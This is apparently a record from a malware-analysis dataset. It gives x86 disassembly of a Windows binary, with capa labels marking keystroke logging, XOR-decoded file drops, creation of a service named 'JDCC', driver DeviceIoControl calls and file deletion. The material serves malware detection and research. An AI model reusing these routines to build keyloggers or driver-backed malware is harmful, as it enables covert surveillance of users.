joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d920
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 4], eax
lea edi, [ecx + ecx + 2]
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x44d959
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
push esi
call dword [sym.imp.MSVCRT.dll__wcslwr]
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp + 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
cmp ecx, 1
mov eax, dword [eax + 0xc]
lea edx, [eax + 0xc]
mov dword [ebp + 8], edx
jne 0x44d99a
mov ebx, dword [edx]
mov dword [ebp + 8], edx
jmp 0x44d9c0
cmp ecx, 2
jne 0x44d9ab
add eax, 0x14
mov edx, eax
mov dword [ebp + 8], eax
mov ebx, dword [edx]
jmp 0x44d9c0
cmp ecx, 3
jne 0x44d9b6
add eax, 0x1c
mov dword [ebp + 8], eax
mov edx, dword [ebp + 8]
mov ebx, dword [edx]
jmp 0x44d9c0
mov ecx, dword [ebp + 0xc]
mov esi, ebx
lea eax, [ecx*8]
sub esi, eax
mov ecx, 0x12
add esi, 8
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x250]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea edx, [ebp - 0x250]
push edx
call dword [sym.imp.MSVCRT.dll__wcslwr]
mov ecx, dword [ebp - 8]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x14
test eax, eax
je 0x44da1e
mov edx, dword [ebx + 4]
mov eax, dword [ebx]
mov dword [ebp - 4], 1
mov dword [edx], eax
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [ecx + 4], edx
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x50]
cmp eax, 1
je 0x44da3b
cmp eax, 2
jne 0x44da33
mov ebx, dword [ebp - 0x48]
jmp 0x44da3b
cmp eax, 3
jne 0x44da3b
mov ebx, dword [ebp - 0x40]
cmp ebx, dword [ebp + 8]
jne 0x44d9bd
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [ebp - 4]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4527c0
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x4c
push ebx
push ebp
mov ebp, ecx
mov ebx, dword [esp + 0x5c]
mov ecx, dword [eax]
cmp ebx, 1
mov dword [ebp], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 4], edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 0xc], edx
jae 0x452810
lea eax, [esp + 0x60]
lea ecx, [esp + 0x10]
push eax
mov dword [esp + 0x64], str.Incorrect_key_length
call dword [sym.imp.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const__]
lea ecx, [esp + 0x10]
push 0x4ccba0
push ecx
call sub.MSVCRT.dll__CxxThrowException
cmp ebx, 0x38
jbe 0x45281a
mov ebx, 0x38
mov ecx, ebx
push esi
mov esi, dword [esp + 0x5c]
mov edx, ecx
push edi
lea edi, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0x10]
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x4b832c
mov edi, edx
mov dword [esp + 0x64], 0x12
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x58]
mov ecx, 0x400
mov esi, 0x4b8374
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x24]
mov esi, edx
xor edx, edx
mov dword [esp + 0x68], 4
mov edi, edx
xor edx, edx
mov dl, byte [ecx]
shl edi, 8
or edx, edi
inc ecx
inc eax
cmp eax, ebx
jne 0x452885
xor eax, eax
lea ecx, [esp + 0x24]
mov edi, dword [esp + 0x68]
dec edi
mov dword [esp + 0x68], edi
jne 0x45286e
mov edi, dword [esi]
add esi, 4
xor edi, edx
mov edx, dword [esp + 0x64]
mov dword [esi - 4], edi
dec edx
mov dword [esp + 0x64], edx
jne 0x452864
xor edi, edi
lea esi, [ebp + 0x10]
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00452930
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x12
jb 0x4528b2
lea eax, [ebp + 0x58]
mov dword [esp + 0x68], 4
mov ebx, eax
xor edi, edi
mov esi, ebx
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00452930
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x100
jl 0x4528e8
mov eax, dword [esp + 0x68]
add ebx, 0x400
dec eax
mov dword [esp + 0x68], eax
jne 0x4528e4
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0xc
Function at 0x453c90
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4769df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
lea esi, [eax + 7]
mov edi, ecx
shr esi, 3
shl esi, 3
push esi
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
add esp, 4
mov ebp, eax
push ecx
push esi
push ebp
push edx
mov ecx, edi
call fcn.00453810
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push ebp
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], eax
call sub.MFC42.DLL_CString::operator
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
mov dword [esp + 0x1c], 1
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x24]
add esp, 4
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0xc], 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x453d60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x476a17
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
push edi
mov ebp, ecx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
mov eax, dword [eax - 8]
lea edi, [eax + 0xa]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
add esp, 4
mov esi, eax
lea edx, [esp + 0x28]
push ecx
push edi
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call sub.MFC42.DLL_CString::CString_2
mov ecx, ebp
call fcn.00453bd0
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
call sub.MFC42.DLL_CString::operator
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
mov byte [esp + 0x20], 2
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x28]
add esp, 4
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x14
ret 0xc

Function at 0x454290
Capabilities:
Encode data using xor

Disassembly:
push edi
push 0x4d2830
push 0x4d6e78
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x4542e5
mov eax, dword [0x4d5104]
push esi
xor esi, esi
test eax, eax
jbe 0x4542da
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
xor eax, eax
push edi
mov al, byte [esi + 0x4ba488]
xor eax, 0x7d
push eax
call ebx
mov eax, dword [0x4d5104]
add esp, 8
inc esi
cmp esi, eax
jb 0x4542bd
pop ebx
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop esi
pop edi
ret
Function at 0x454760
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [0x4d7088]
test ecx, ecx
jne 0x454781
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
test ecx, ecx
mov dword [0x4d7088], ecx
je 0x4547b8
cmp word [ecx], 0x5a4d
jne 0x4547b8
xor eax, eax
mov ax, word [ecx + 0x3c]
add eax, ecx
cmp word [eax], 0x4550
jne 0x4547b8
mov eax, dword [eax + 0x78]
mov edx, dword [esp + 4]
add eax, ecx
push esi
dec edx
mov esi, dword [eax + 0x14]
cmp edx, esi
pop esi
jae 0x4547b8
mov eax, dword [eax + 0x1c]
lea edx, [eax + edx*4]
mov eax, dword [edx + ecx]
add eax, ecx
ret 4
xor eax, eax
ret 4

Function at 0x4547c0
Capabilities:
Create service

Disassembly:
push esi
push edi
call fcn.00454840
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x454832
mov cl, byte [esp + 0x10]
mov eax, dword [esp + 0xc]
dec cl
push 0
neg cl
push 0
push 0
sbb ecx, ecx
push 0
and ecx, 0xfffffffe
push 0
push eax
add ecx, 3
push 1
push ecx
push 1
push 0xf01ff
push str.JDCC
push str.JDCC
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
call esi
test edi, edi
je 0x454832
push edi
call esi
call fcn.004548a0
pop edi
pop esi
ret 8
pop edi
xor al, al
pop esi
ret 8

Function at 0x454910
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x45496a
push 0xf01ff
push str.JDCC
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x45496a
lea eax, [esp + 8]
push ebx
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
setne bl
call edi
mov al, bl
pop ebx
pop edi
pop esi
add esp, 0x1c
ret
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
Function at 0x454990
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c28e8
push 0x420ee6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
push str.qsefyjil
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x4d7194], eax
cmp eax, esi
je 0x454acd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x454acd
push 0x4d2830
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov edi, eax
mov dword [ebp - 0x34], edi
cmp edi, esi
je 0x454a37
mov dword [ebp - 0x38], esi
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
cmp esi, dword [0x4d5160]
push edi
jae 0x454a2c
xor ecx, ecx
mov cl, byte [esi + 0x4bfa88]
xor ecx, 0x7d
push ecx
call ebx
add esp, 8
inc esi
mov dword [ebp - 0x38], esi
jmp 0x454a0c
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor esi, esi
cmp dword [ebp + 0x14], esi
je 0x454a53
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00454f00
add esp, 8
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x454acd
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
push str..hkjdySymbolicLink
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x4d718c], eax
cmp eax, 0xffffffff
je 0x454acd
mov dword [ebp - 0x24], esi
push esi
push esi
push esi
push 0x454980
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x454acd
mov dword [0x4d7190], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
push esi
lea edx, [ebp - 0x2c]
push edx
push 4
lea eax, [ebp - 0x30]
push eax
push 8
lea ecx, [ebp - 0x28]
push ecx
push 0x8000201c
mov edx, dword [0x4d718c]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x454acd
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00454af0
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x454af0
Capabilities:
Delete file
Terminate thread

Disassembly:
mov edi, dword [ebp - 0x1c]
cmp edi, esi
jne 0x454b33
mov eax, dword [0x4d7194]
cmp eax, esi
je 0x454b0d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4d7194], esi
mov eax, dword [0x4d718c]
cmp eax, 0xffffffff
je 0x454b24
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4d718c], esi
mov eax, dword [ebp - 0x24]
cmp eax, esi
je 0x454b33
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x454cf0
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x4d7194]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x454d15
push 1
push eax
call fcn.00454d40
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret
xor eax, eax
ret
Function at 0x454d20
Capabilities:
Log keystrokes

Disassembly:
push 1
push 1
call fcn.00454d40
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret

Function at 0x454db0
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0x10]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push 1
push 3
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x454e09
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x431
je 0x454e05
call esi
push eax
push str.failure:_CreateService__error_code:_u_n
push 0x4d7198
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
ret

Function at 0x454eb0
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push esi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x454ed4
pop esi
add esp, 0x1c
ret
lea edx, [esp + 4]
push edi
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x4567e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
cmp ebx, 1
push edi
jl 0x4567fb
cmp ebx, 8
jg 0x4567fb
mov eax, 1
jmp 0x4567fd
xor eax, eax
mov esi, dword [esp + 0x14]
push str.bad_pack_level
push eax
push esi
call fcn.00455060
mov eax, dword [esi + 0x6af70]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af78], ebp
jne 0x456834
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
mov ecx, 0x7fff
xor eax, eax
lea edi, [esi + 0x4af70]
mov dword [esi + 0x6af6c], ebp
rep stosd dword es:[edi], eax
mov ax, word [ebx*8 + 0x4c2a4a]
xor ecx, ecx
mov dword [esi + 0x6af98], eax
mov cx, word [ebx*8 + 0x4c2a48]
xor edx, edx
mov dword [esi + 0x6af9c], ecx
mov dx, word [ebx*8 + 0x4c2a4c]
xor eax, eax
mov dword [esi + 0x6afa0], edx
mov ax, word [ebx*8 + 0x4c2a4e]
cmp ebx, 2
mov dword [esi + 0x6af94], eax
jg 0x456895
mov eax, dword [esp + 0x1c]
or byte [eax], 4
jmp 0x4568a1
cmp ebx, 8
jl 0x4568a1
mov eax, dword [esp + 0x1c]
or byte [eax], 2
lea edi, [esi + 0x1af70]
push 0x10000
push edi
push esi
mov dword [esi + 0x6af84], ebp
mov dword [esi + 0x6af74], ebp
call dword [esi + 0xc]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af90], eax
je 0x45691a
cmp eax, 0xffffffff
je 0x45691a
cmp eax, 0x106
mov dword [esi + 0x6af8c], ebp
jae 0x4568e5
push esi
call fcn.00456b30
add esp, 4
mov dword [esi + 0x6af7c], ebp
xor eax, eax
mov edx, dword [esi + 0x6af7c]
xor ecx, ecx
mov cl, byte [edi + eax]
and edx, 0x3ff
and ecx, 0x7fff
shl edx, 5
xor ecx, edx
inc eax
cmp eax, 2
mov dword [esi + 0x6af7c], ecx
jb 0x4568ed
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], ebp
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x457bb0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x457bbb
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x457cbe
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x4c2a98]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4c2a98]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4c2a98]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4c2a98]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4c2a98]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4c2a98]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4c2a98]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4c2a98]
xor eax, edx
inc ecx
dec edi
jne 0x457bd6
pop edi
test esi, esi
je 0x457ce0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4c2a98]
xor eax, edx
inc ecx
dec esi
jne 0x457cc2
pop esi
pop ebx
not eax
ret

Function at 0x457cf0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x4c2a98]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x4c2a98]
xor eax, edx
mov dword [ecx + 8], eax
ret
Function at 0x457f20
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x44
lea eax, [esp + 0x10]
push esi
mov esi, dword [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x457f42
mov eax, 0x200
pop esi
add esp, 0x44
ret
mov eax, dword [esp + 0x14]
push ebp
mov edx, eax
xor ebp, ebp
and edx, 1
je 0x457f55
mov ebp, 1
test al, 2
je 0x457f5c
or ebp, 2
test al, 4
je 0x457f63
or ebp, 4
mov ecx, eax
and ecx, 0x10
je 0x457f6d
or ebp, 0x10
test al, 0x20
je 0x457f74
or ebp, 0x20
test ecx, ecx
je 0x457f80
or ebp, 0x40000000
jmp 0x457f86
or ebp, 0x80000000
or ebp, 0x1000000
test edx, edx
jne 0x457f96
or ebp, 0x800000
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x28
mov dword [esp + 0x14], eax
jbe 0x458045
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x60]
push 2
push edx
push esi
call ebx
push 0
push 0
push 0x24
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x20]
push 4
push ecx
push esi
call ebx
cmp word [esp + 0x58], 0x54ad
jne 0x458045
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [eax + 0x34]
cmp ecx, edx
jbe 0x458045
push 0
push 0
push eax
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x24]
push 4
push ecx
push esi
call ebx
mov eax, dword [esp + 0x1c]
cmp eax, 0x5a4d
je 0x45803f
cmp eax, 0x454e
je 0x45803f
cmp eax, 0x454c
je 0x45803f
cmp eax, 0x4550
jne 0x458045
or ebp, 0x400000
mov eax, dword [esp + 0x5c]
pop edi
test eax, eax
pop ebx
je 0x458051
mov dword [eax], ebp
mov eax, dword [esp + 0x58]
pop ebp
test eax, eax
je 0x458060
mov edx, dword [esp + 8]
mov dword [eax], edx
mov esi, dword [esp + 0x58]
test esi, esi
je 0x4580a9
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push eax
push ecx
call fcn.00457e80
mov dword [esi], eax
mov eax, dword [esp + 0x30]
mov dword [esi + 4], edx
mov edx, dword [esp + 0x34]
push edx
push eax
call fcn.00457e80
mov ecx, dword [esp + 0x2c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
mov edx, dword [esp + 0x28]
push ecx
push edx
call fcn.00457e80
mov dword [esi + 0x10], eax
add esp, 0x18
mov dword [esi + 0x14], edx
mov esi, dword [esp + 0x5c]
test esi, esi
je 0x4580e8
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x50]
lea ecx, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x2c]
push ecx
push edx
push eax
call fcn.00457eb0
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x60]
and ecx, 0xffff
and edx, 0xffff
shl ecx, 0x10
add esp, 0x10
or ecx, edx
mov dword [esi], ecx
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x4582a0
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, ecx
push ebp
mov ebp, dword [esp + 0x10]
mov al, byte [ebx + 0x2d]
push esi
mov esi, dword [esp + 0x10]
push edi
test al, al
je 0x458325
mov eax, dword [ebx + 0x3c]
test eax, eax
je 0x4582d1
cmp dword [ebx + 0x40], ebp
jae 0x4582d1
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebx + 0x3c], 0
mov eax, dword [ebx + 0x3c]
test eax, eax
jne 0x4582eb
lea eax, [ebp + ebp]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebx + 0x3c], eax
mov dword [ebx + 0x40], ebp
mov edi, dword [ebx + 0x3c]
mov ecx, ebp
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
test ebp, ebp
jbe 0x458322
lea edi, [ebx + 0x30]
mov eax, dword [ebx + 0x3c]
mov cl, byte [esi + eax]
push ecx
push edi
call fcn.00457d70
mov edx, dword [ebx + 0x3c]
add esp, 8
mov byte [esi + edx], al
inc esi
cmp esi, ebp
jb 0x458307
mov esi, dword [ebx + 0x3c]
mov edx, dword [ebx + 0x20]
test edx, edx
je 0x45836d
mov eax, dword [ebx + 0x24]
mov edi, dword [ebx + 0x28]
lea ecx, [eax + ebp]
cmp ecx, edi
jb 0x458349
pop edi
pop esi
mov dword [ebx + 0x14], 0x30000
pop ebp
xor eax, eax
pop ebx
ret 8
mov ecx, ebp
lea edi, [eax + edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 0x24]
pop edi
add eax, ebp
pop esi
mov dword [ebx + 0x24], eax
mov eax, ebp
pop ebp
pop ebx
ret 8
mov eax, dword [ebx + 4]
test eax, eax
je 0x45838f
lea ecx, [esp + 0x14]
push 0
push ecx
push ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
ret 8
pop edi
pop esi
mov dword [ebx + 0x14], 0x1000000
pop ebp
xor eax, eax
pop ebx
ret 8
Function at 0x458820
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov edx, dword [ebx + 0x84]
test edx, edx
je 0x458899
mov eax, dword [ebx + 0x8c]
mov ebp, dword [ebx + 0x88]
cmp eax, ebp
jae 0x4588ea
mov ecx, dword [esp + 0x14]
sub ebp, eax
cmp ebp, ecx
jbe 0x45884f
mov ebp, ecx
mov ecx, ebp
lea esi, [eax + edx]
mov eax, dword [esp + 0x10]
mov edx, ecx
push edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edx, dword [ebx + 0x8c]
mov ecx, dword [ebx + 0x74]
mov eax, dword [ebx + 0x78]
add edx, ebp
add ecx, ebp
push eax
mov dword [ebx + 0x8c], edx
mov dword [ebx + 0x74], ecx
call fcn.00457bb0
add esp, 0xc
mov dword [ebx + 0x78], eax
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4588e3
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4588ea
mov eax, dword [esp + 0x14]
mov ecx, dword [ebx + 0x74]
add ecx, eax
push eax
mov eax, dword [ebx + 0x78]
push esi
push eax
mov dword [ebx + 0x74], ecx
call fcn.00457bb0
add esp, 0xc
mov dword [ebx + 0x78], eax
mov eax, dword [esp + 0x14]
pop esi
pop ebp
pop ebx
ret 8
mov dword [ebx + 0x14], 0x1000000
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8